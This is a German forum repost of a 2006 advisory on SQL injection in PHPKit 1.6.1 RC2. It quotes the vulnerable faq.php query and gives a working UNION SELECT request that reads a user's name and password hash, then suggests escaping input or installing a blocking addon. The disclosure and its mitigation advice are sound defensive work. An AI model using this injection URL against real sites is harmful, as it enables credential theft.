gnarff
Goto Top

SQL-Injection in PHPKit

In PHPKit 1.6.1 RC2 befinden sich einige sehr kritische Sicherheitslücken, die es einem Angreifer unter Umständen ermöglichen, den MD5-Hash eines Users auszulesen.

Nachdem letzte Woche ein Exploit 1 aufgetaucht ist, das eine Lücke in der Datei misc/finduser.php ausnutzt, habe ich mir das Script einmal etwas näher angesehen.
Es befinden sich mindestens in den Datein guestbook/print.php und faq/faq.php Möglichkeiten, SQL-Code unterzuschieben.

Code faq/faq.php (Zeile 20 ff.):

if ($catid!=0) {

$getfaqinfo=$DB->query("SELECT *

FROM ".$db_tab['faq']."

WHERE faq_answer!='-'

AND faq_catid='".$catid."' //<-VULN

ORDER by faq_title ASC");

while($faqinfo=$DB->fetch_array($getfaqinfo)) {


Über eine manipulierte Anfrage an das Script kann das Passwort eines beliebigen Users ausgegeben werden:

/include.php?path=faq/faq.php&catid=-1'%20UNION%20SELECT%20

1,2,3,4,user_name,user_pw,7,8,9,10,11,12,13%20

FROM%20phpkit_user%20where%20%20user_id=1%20and%20'1'='1


Ein ähnlicher Fehler befindet sich auch in der Datei guestbook/print.php.

Da die Entwickler nach dem letzten Exploit leider keinen Patch gebracht haben, gehe ich davon aus, dass auch dieses mal keiner folgen wird.
Daher muss etwas "Dirty Patching" betrieben werden.
Einfachste Methode ist per mysql_real_escape_string die Eingabe des Users zu escapen.
Eine andere Möglichkeit ist das Addon Hack_Block , welches nicht nur vor dieser Attacke auf PHPKit schützt, sondern generell vor SQL-Injections schützen soll.
Habe das ganze mal kurz angetestet und war positiv überrascht.

[advisory by phillip niedziela - site; http://www.bb-pcsecurity.de/ vom 10.11.2006]

saludos
gnarff

Content-Key: 44371

Url: https://administrator.de/contentid/44371

Ausgedruckt am: 28.03.2024 um 23:03 Uhr

Mitglied: 16568
16568 13.11.2006 um 22:39:31 Uhr
Goto Top
Wußt ich's doch, warum ich kein PHPKit einsetze ^^

Danke!


Lonesome Walker